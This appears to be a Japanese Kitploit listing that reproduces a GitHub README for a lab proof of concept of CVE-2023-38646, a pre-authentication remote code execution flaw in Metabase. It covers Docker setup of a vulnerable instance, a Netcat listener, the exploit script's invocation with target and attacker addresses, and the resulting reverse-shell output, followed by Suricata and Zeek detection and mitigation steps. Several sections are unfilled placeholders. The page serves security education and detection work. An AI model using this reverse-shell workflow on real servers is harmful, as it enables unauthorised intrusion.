Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Metabase-Pre-Auth-RCE-POC — CVE-2023-38646 | Kitploit
ツール/GitHubGitHub/nosrevytsng/metabase-pre-auth-rce-poc
防御ツール脆弱性分析エクスプロイトウェブセキュリティペネトレーションテスト侵入検知学習と教育インシデントレスポンスペイロード開発
GitHubnosrevytsng/metabase-pre-auth-rce-poc

Metabase-Pre-Auth-RCE-POC

CVE-2023-38646

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-38646 — Metabase リモートコード実行(RCE)概念実証

概要

このリポジトリは、Metabase の脆弱なバージョンに影響を及ぼす、認証前のリモートコード実行(RCE) の重大な脆弱性である CVE-2023-38646 を分析する概念実証(PoC)セキュリティ研究プロジェクトを文書化したものです。

このプロジェクトの目的は、実世界の脆弱性の完全なライフサイクルを実証することです。具体的には次の内容を含みます。

  • 脆弱性とその根本原因の理解
  • 管理されたラボ環境でのエクスプロイトの再現
  • 脆弱なシステム上でのリバースシェルの確立
  • ネットワーク監視ツールによる攻撃動作の観察
  • 検知エンジニアリング手法の実証
  • 防御的な緩和戦略の提案

このリポジトリは、以下の実践的スキルを紹介することを目的としています。

  • 脆弱性調査
  • エクスプロイトの再現
  • リバースシェルの使用
  • ネットワークトラフィック分析
  • 侵入検知システム
  • セキュリティ緩和戦略

脆弱性の背景

CVE-2023-38646 は、オープンソースのビジネスインテリジェンス/分析プラットフォームである Metabase の特定バージョンに影響を及ぼす重大な脆弱性です。

この脆弱性により、攻撃者はアプリケーションのセットアップまたは設定プロセスの弱点を悪用して、認証なしのリモートコード実行を達成できます。

主な詳細:

  • CVE ID: CVE-2023-38646
  • 深刻度: 重大
  • CVSS スコア: 9.8
  • 攻撃ベクトル: ネットワーク
  • 必要な認証: なし
  • 影響: リモートコード実行(RCE)

悪用に成功すると、攻撃者は以下を実行できます。

  • 対象システム上での任意のコマンド実行
  • リバースシェルの確立
  • システム全体の完全な侵害の可能性

公式リファレンス:

  • https://nvd.nist.gov/vuln/detail/CVE-2023-38646
  • https://www.metabase.com/

使用したテクノロジーとツール

このプロジェクトは、攻撃的セキュリティツールと防御的監視ツールの両方を組み合わせています。

攻撃的セキュリティ

  • Python
  • リバースシェルペイロード
  • カスタムエクスプロイトスクリプト
  • Metabase 脆弱性インスタンス

検知と監視

  • Suricata — 侵入検知システム(IDS)
  • Zeek — ネットワークセキュリティ監視(NSM)

防御技術

  • ModSecurity — Web アプリケーションファイアウォール
  • OSSEC — ホスト型侵入検知システム

ラボ環境

プレースホルダー — ラボ設定を説明してください

例:

  • 攻撃マシン: Kali Linux
  • 対象マシン: 脆弱な Metabase サーバー
  • ネットワーク監視マシン: セキュリティ監視 VM

エクスプロイト PoC

攻撃チェーンダイアグラム

root@kitploit:~
flowchart LR
    A[Attacker] --> B[Vulnerable Metabase Instance]
    B --> C[CVE-2023-38646 Exploit]
    C --> D[Remote Code Execution]
    D --> E[Reverse Shell Established]
    E --> F[Command Execution on Target]

このダイアグラムは、このプロジェクトで使用される高レベルの攻撃フローを示しています。

概念実証(PoC)のセットアップ

Docker のインストールとセットアップ:

root@kitploit:~
sudo apt update
sudo apt upgrade -y

sudo apt install docker.io -y

sudo systemctl start docker 
sudo systemctl enable docker

sudo docker run hello-world

Docker の起動:

脆弱な Metabase Enterprise インスタンス(v1.44.0)が Docker を使用してデプロイされました。

root@kitploit:~
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0

これにより、Metabase の Web インターフェースがポート 3000 で公開され、セットアップページへのアクセスが可能になります。

Docker がすでに実行中の場合は、以下のコマンドラインを実行して新たに開始します。

root@kitploit:~
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise

『Docker セットアップ』プレースホルダー

コンテナが実行されると、Metabase インターフェースがブラウザからアクセス可能になります。

root@kitploit:~
    http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup

セットアップページは、Metabase インスタンスがアクティブで設定可能な状態であることを確認します。

エクスプロイトシナリオ 1

BurpSuite

デモ/ドキュメント

スクリーンショットまたは説明のプレースホルダー

エクスプロイトシナリオ 2 - Python スクリプトエクスプロイト

  1. リバースシェルリスナーの準備

エクスプロイトを起動する前に、Netcat リスナーを攻撃マシン上で開始し、リバースシェル接続を受信します。

root@kitploit:~
    nc -lvnp 6666

このリスナーは、エクスプロイトされた Metabase サーバーからの着信接続を待機します。

スクリーンショットまたは説明のプレースホルダー

  1. エクスプロイトの実行 エクスプロイトスクリプトは攻撃マシンから実行されます。
root@kitploit:~
    python3 CVE-2023-38646-Reverse-Shell.py \   ---> Exploit Name
    --rhost http://192.168.1.136:3000 \         ---> Targer IP Address
    --lhost 192.168.1.137 \                     ---> Attacker's IP Address
    --lport 6666                                ---> Attacker's Listening Port

ペイロードは、攻撃マシンへのリバースシェルを確立するコマンドを実行します。

  1. リバースシェルの確立 ペイロードが正常に実行されると、脆弱な Metabase インスタンスが攻撃者のマシンへの接続を開始します。

Netcat リスナーが接続を受信し、攻撃者にシステムへのシェルアクセスを許可します。

root@kitploit:~
    connect to [192.168.1.137] from 192.168.1.136
    bash: cannot set terminal process group
    bash: no job control in this shell
    bash-5.1$

被害者のデバイスへの接続を確認するには:

root@kitploit:~
    whoami

出力:

root@kitploit:~
    connect to [192.168.1.137] from 192.168.1.136
    bash: cannot set terminal process group
    bash: no job control in this shell
    bash-5.1$ whoami
    whoami
    metabase
    bash-5.1$

検知エンジニアリング PoC

このプロジェクトでは、ネットワーク監視ツールを使用してエクスプロイト活動を検知する方法も実証します。

Suricata 検知

Suricata(IDS)を使用して、エクスプロイトに関連する不審なパターンのネットワークトラフィックを監視しました。

root@kitploit:~
sudo suricata -i eth0

プレースホルダー: Suricata アラートのスクリーンショットを挿入

root@kitploit:~
evidence/detection/suricata_alert.png

アラートをリアルタイムで観察するために、Suricata ログを次のコマンドで監視しました。

root@kitploit:~
tail -f /var/log/suricata/fast.log

プレースホルダー: Suricata ログのスクリーンショットを挿入

root@kitploit:~
evidence/detection/suricata_log.png

受動的なアプローチとして、Suricata が不審なトラフィックを検知するたびにデスクトップアラートを生成するカスタム通知スクリプトを使用しました。

root@kitploit:~
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &

エクスプロイトが実行されると、Suricata は Metabase エクスプロイト試行に関連する不審なアクティビティを示すアラートを生成しました。

プレースホルダー: Suricata ログのスクリーンショットを挿入

root@kitploit:~
evidence/detection/suricata_noti.png

例:

プレースホルダー: Suricata ログのスクリーンショットを挿入

root@kitploit:~
evidence/detection/suricata_noti.png

Zeek ネットワーク分析

IDS 監視に加えて、Zeek を使用してネットワークトラフィックを分析し、異常な動作を特定しました。

Zeek は次のコマンドで起動し、ネットワークトラフィックのキャプチャと分析を開始します。

root@kitploit:~
sudo /usr/local/zeek/bin/zeek -i eth0

プレースホルダー: Zeek 起動のスクリーンショットを挿入

root@kitploit:~
evidence/detection/zeek.png

接続ログを検査することで、ポート 6666 のリバースシェルトラフィックを観察できます。

root@kitploit:~
192.168.1.136 → 192.168.1.137:6666

プレースホルダー: Zeek ログのスクリーンショットを挿入

root@kitploit:~
evidence/detection/zeek_log.png

緩和策と防御戦略

いくつかの緩和戦略により、エクスプロイトのリスクを低減できます。

戦略説明
パッチ管理CVE-2023-38646 を修正したバージョンに Metabase をアップグレードする
Web アプリケーションファイアウォール(ModSecurity)悪意のある HTTP リクエストをフィルタリングする
ホスト型侵入検知(OSSEC)不審なシステム動作を監視する
ネットワーク監視(Suricata & Zeek)異常なトラフィックパターンを検知する

リポジトリ構造

root@kitploit:~
cve-2023-38646-metabase-rce-research
│
├── exploit
│   └── metabase_reverse_shell.py
│
├── detection
│   ├── suricata
│   └── zeek
│
├── evidence
│   ├── exploitation
│   ├── detection
│   └── mitigation
│
├── docs
│   ├── report
│   └── presentation
│
└── demo

まとめ

このプロジェクトは、実世界の重大な脆弱性を分析・再現する完全なライフサイクルを実証します。

PoC は以下を示します。

  • 脆弱性分析
  • エクスプロイトの再現
  • リバースシェルの実行
  • ネットワークトラフィック監視
  • 侵入検知
  • 防御的な緩和戦略

このリポジトリの目的は、攻撃的および防御的なサイバーセキュリティ実践の両方を示す技術ケーススタディを提供することです。


🖋️ 著者

Styverson Ng

情報技術学士
人工知能&自律システム
サイバーセキュリティ&サイバーフォレンジックス

マードック大学

ツールをダウンロード